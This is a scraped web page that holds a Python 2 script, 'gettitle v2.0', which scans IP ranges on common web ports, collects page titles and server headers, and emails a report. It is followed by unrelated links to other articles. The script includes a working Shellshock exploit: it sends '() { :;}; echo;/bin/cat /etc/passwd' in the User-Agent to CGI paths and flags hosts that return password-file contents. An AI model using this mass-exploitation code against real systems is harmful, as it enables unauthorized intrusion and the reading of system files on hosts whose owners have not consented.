python gettitle v2.0
#!/usr/bin/env python
# coding=utf-8 import threading
import requests
import Queue
import sys
import re
import time
import warnings
import datetime
import argparse
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
import httplib __author__ = 'depycode'
__version__ = 'gettitle v2.0' warnings.filterwarnings("ignore") #ip to num
def ip2num(ip):
ip = [int(x) for x in ip.split('.')]
return ip[0] << 24 | ip[1] << 16 | ip[2] << 8 | ip[3] #num to ip
def num2ip(num):
return '%s.%s.%s.%s' %((num & 0xff000000) >>24,
(num & 0x00ff0000) >>16,
(num & 0x0000ff00) >>8,
num & 0x000000ff )
#
def ip_range(start, end):
return [num2ip(num) for num in range(ip2num(start), ip2num(end) + 1) if num & 0xff] def bash_exp(host):
headers = {'User-Agent':'() { :;}; echo;/bin/cat /etc/passwd','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}
try:
res = requests.get(host,headers=headers,timeout=8)
if "root:" in res.content:
return host
except:
pass
#
def bThread(iplist):
threadl = []
queue = Queue.Queue()
for host in iplist:
queue.put(host) for x in xrange(0, int(SETTHREAD)):
threadl.append(tThread(queue)) for t in threadl:
t.start()
for t in threadl:
t.join() #create thread
class tThread(threading.Thread):
def __init__(self, queue):
threading.Thread.__init__(self)
self.queue = queue def run(self):
while not self.queue.empty():
host = self.queue.get(block=False)
try:
checkServer(host)
except:
continue def checkServer(host):
UA = {'user-agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36'}
k = int(host.split(':')[1])
try:
if k==443:
aimurl = "https://"+host
#print aimurl
response = requests.get(url = aimurl,headers = UA,verify=False,timeout = 8)
else:
aimurl = "http://"+host
#print aimurl
response = requests.get(url = aimurl,headers = UA,timeout = 8)
#print response.headers
status = response.status_code
try:
serverText = response.headers['server']
except:
serverText = ""
try:
titleText1 = re.findall(r'<title>(.*?)</title>',response.content,re.S)[0]
try:
titleText = titleText1.decode('utf-8').encode('utf-8')
except:
titleText = titleText1.decode('gbk','ignore').encode('utf-8','ignore')
except:
titleText = "" saveData = {"ip":host,"port":str(k),'aimurl':aimurl,"status":status,"server":serverText,"title":titleText}
print saveData
Data.append(saveData)
cgi_poc = ['/cgi-bin/index.cgi','/cgi-bin/login.cgi','/cgi-bin/test-cgi']
for path in cgi_poc:
exp_url = aimurl + path
exp_res = bash_exp(exp_url)
if exp_res != None:
bash_list.append(exp_res)
except:
pass def cmd():
iplist_a = []
parser = argparse.ArgumentParser(description='GET TITLE .. Author::depycode')
group = parser.add_mutually_exclusive_group() group.add_argument('-i',
action="store",
dest="iprange",
help="use:: python gettitle.py -i 10.100.1.1-10.100.1.254",
)
group.add_argument('-f',
action="store",
dest="ipfile",
help="use:: python gettitle.py -f ip.txt",
type=str,
)
args = parser.parse_args()
ipfile = args.ipfile
ip = args.iprange
if ip:
iplist_a = ip_range(ip.split('-')[0], ip.split('-')[1]) elif ipfile:
iplist_tmp = open(ipfile).readlines()
for i in iplist_tmp:
iplist_a.append(i.strip()) else:
parser.print_help()
exit()
return iplist_a def report(data):
t = time.strftime('%Y-%m-%d-%H-%M',time.localtime(time.time()))
filename = 'Title'+'-'+str(t)+".html"
f = open(filename,"w+")
table1 = "<meta http-equiv='Content-Type' content='text/html; charset=utf-8'><table border='1'>\n<tr><th>url</th><th>stauts_code</th><th>server</th><th>title</th>\n"
f.write(table1)
for i in data:
rows = "<tr><td><a target='_blank' href='%s'>%s</a></td><td>%s</td><td>%s</td><td>%s</td></tr>\n" %(i['aimurl'],i['ip'],i['status'],i['server'],i['title'])
f.write(rows)
table2 = "</table>"
f.write(table2)
f.close()
return filename def report2txt(data):
t = time.strftime('%Y-%m-%d-%H-%M',time.localtime(time.time()))
filename = "ip-"+str(t)+".txt"
f = open(filename,"w+")
for i in data:
url = i['aimurl']
f.write(url)
f.write("\n")
f.close()
return filename def reportBash(data):
t = time.strftime('%Y-%m-%d-%H-%M',time.localtime(time.time()))
filename = 'bash' + str(t) + '.html'
f = open(filename,'w+')
table1 = "<meta http-equiv='Content-Type' content='text/html; charset=utf-8'><table border='1'>\n<tr><th>url</th><th>bash_valu</th>\n"
f.write(table1)
for i in data:
rows = "<tr><td><a target='_blank' href='%s'>%s</a></td><td>ON</td></tr>\n" %(i,i)
f.write(rows)
table2 = "</table>"
f.write(table2)
f.close()
return filename def SendMail(f1,f2,f3):
#创建一个带附件的实例
msg = MIMEMultipart('alternative') text = "报告大王-扫描完成"
att = MIMEText(text, 'plain')
#构造附件1
att1 = MIMEText(open(f1, 'rb').read(), 'base64', 'utf-8')
att1["Content-Type"] = 'application/octet-stream'
att1["Content-Disposition"] = 'attachment; filename="report.html"'#这里的filename可以任意写,写什么名字,邮件中显示什么名字 att2 = MIMEText(open(f2, 'rb').read(), 'base64', 'utf-8')
att2["Content-Type"] = 'application/octet-stream'
att2["Content-Disposition"] = 'attachment; filename="ip.txt"' att3 = MIMEText(open(f3, 'rb').read(), 'base64', 'utf-8')
att3["Content-Type"] = 'application/octet-stream'
att3["Content-Disposition"] = 'attachment; filename="bash.html"' msg.attach(att)
msg.attach(att1)
msg.attach(att2)
msg.attach(att3) #加邮件头
msg['to'] = '*************'
msg['from'] = '*************'
msg['subject'] = 'Scan Finished'
#发送邮件
try:
server = smtplib.SMTP()
server.connect('*************')
server.login('*************','*************')
server.sendmail(msg['from'], msg['to'],msg.as_string())
server.quit()
print u'发送成功'
except Exception, e:
print str(e) if __name__ == '__main__': global SETTHREAD
global Data
global bash_list
Data = []
bash_list = []
starttime = datetime.datetime.now() try:
SETTHREAD = 500
iplist1 = cmd()
ports = [80,81,8080,8000,8888]
#ports = [80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,803,806,8094,8000,8001,8002,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8888,9002,443,873,2601,2604,4848,8008,8104,8880,8877,9999,3128,5432,2049,7001,7002,7003,7004,7005,7006,7007,7008,7009,9200,9871,4440,6082,8099,8649,9000,9090,50000,50030,50070]
iplist = ['{}:{}'.format(x, y) for x in iplist1 for y in ports]
print '\n[INFO] Will scan '+str(len(iplist1))+" host...\n"
bThread(iplist) except KeyboardInterrupt:
print 'Keyboard Interrupt!'
sys.exit()
filenamehtml_report = report(Data)
filenametxt_ip = report2txt(Data)
filenamehtml_report_bash = reportBash(bash_list)
SendMail(filenamehtml_report,filenametxt_ip,filenamehtml_report_bash) endtime = datetime.datetime.now()
print "Finished in "+str((endtime - starttime).seconds)+"S"
1:改进了线程
2:增加bash漏洞检测
python gettitle v2.0的更多相关文章
- [python]爬代理ip v2.0(未完待续)
爬代理ip 所有的代码都放到了我的github上面, HTTP代理常识 HTTP代理按匿名度可分为透明代理.匿名代理和高度匿名代理. 特别感谢:勤奋的小孩 在评论中指出我文章中的错误. REMOTE_ ...
- Python爬虫02——贴吧图片爬虫V2.0
Python小爬虫——贴吧图片爬虫V2.0 贴吧图片爬虫进阶:在上次的第一个小爬虫过后,用了几次发现每爬一个帖子,都要自己手动输入帖子链接,WTF这程序简直反人类!不行了不行了得改进改进. 思路: 贴 ...
- 接口自动化 基于python+Testlink+Jenkins实现的接口自动化测试框架[V2.0改进版]
基于python+Testlink+Jenkins实现的接口自动化测试框架[V2.0改进版] by:授客 QQ:1033553122 由于篇幅问题,,暂且采用网盘分享的形式: 下载地址: [授客] ...
- Pyston v2.0 发布,解决 Python 慢速的救星
Pyston 自从 2017 年发布 0.6.1 版本后,已经淡出了人们的视线三年多了,导致现在新人都很少听过它的大名. 前两天(2020年10月28日)Pyston 在官方博客上(https://b ...
- python gettitle.py
#!/usr/bin/env python # coding=utf-8 import threading import requests import Queue import sys import ...
- (弃)解读Openstack Identity API v2.0
目前OpenStack社区提供了详尽的API文档,并配有丰富的说明和示例,关于Identity API v2查看这里, 关于Identity API v3请查看这里. 尽管现在官方已经不建议OpenS ...
- Deepin15.8系统下安装QorIQ Linux SDK v2.0 yocto成功完美运行的随笔
2019.2.17日:最终安装成功,完美解决! 2019.2.16日:最终安装未成功,但是过程中排除 了几个bug,前进了几步,仅供参考. 写在最前面,yocto安装是有系统要求的,Deepin 15 ...
- python 基础 9.0 安装MySQL-python-1.2.5客户端
一. 安装客户端 python 标准数据库接口为Python DB-API,Python DB-API 为开发人员提供了数据应用编程接口.参考地址:https://wiki.python.or ...
- 痞子衡嵌入式:MCUBootUtility v2.0来袭,i.MXRT1010哪里逃
-- 恩智浦半导体从2017年10月开始正式推出业内首款跨界处理器-i.MX RT系列,如今距离该系列第一款i.MXRT1050发布已过去近2年,i.MX RT系列在行业里应用越来越广泛,i.MX R ...
随机推荐
- 认识Git
---恢复内容开始--- Git是一款免费.开源的分布式版本控制系统,用于敏捷高效地处理任何或小或大的项目. Git作为当下最潮流的版本控制工具也是有他独特的不同,最大的不同就在于他有分布式版本管理的 ...
- Hibernate-模板模式
在我的博客<Hibernate总结(一)>在对数据库的增删改查前后重复的使用了得到Session与关闭Session等操作,因此我想到了模板设计模式. 模板设计模式概述: 定义一个操作中的 ...
- 【项目管理】图解GitHub基本操作
一.注册并登陆到github网站 1.1.打开github网站首页(https://github.com/) 1.2.注册一个自己的github账号 创建账户后再验证自己的邮箱,然后就可以登陆到git ...
- push方法的兼容性问题
在IE8及以下中,不支持aplly方法中的第二个参数是 伪数组 需要对push方法进行封装. 将 push 的判断,放入一个沙箱中: 好处:在页面加载的时候就会执行这段代码,保证了代码只会检测一次 以 ...
- Linux Distribution / ROM
Linux发行版 http://unix.stackexchange.com/questions/87011/how-to-easily-build-your-own-linux-distro 这个文 ...
- Appfuse:扩展自己的GenericManager
通过代码生成机制的appfuse访问数据都通过GenericManager来实现,GenericManager默认提供了以下几个方法: package org.appfuse.service; imp ...
- Python Web.py与AJAX交互
AJAX的使用,http://www.w3school.com.cn/ajax/index.asp W3C的教程已经讲的很细致,实例也具有ASP与PHP,大致花不到半小时就可以掌握. 遇见了太多问题 ...
- VS2010以及vs10sp1安装问题
进公司第一天搭建开发环境,由于系统版本有点低,安装遇到各种问题,在此总结一下,以备日后有用. 问题描述 Windows server 2003 安装VS2010时,安装到Microsoft.NET F ...
- exynos4412中断编程
中断概述 我们知道,ARM核能处理的异常有7种,但仅仅区分异常的种类显然不能够满足需求.拿手机来说,触摸屏幕和按下音量键可能都是irq异常,但是ARM并不能将他们区分开,而事实的情况是针对这两种中断, ...
- 如何安装appium-linux
准备工作: JDK/Android sdk (记得把android sdk的环境变量命名成ANDROID_HOME ) 确保ADB命令可用 git python 和 pip 一,安装node.js和n ...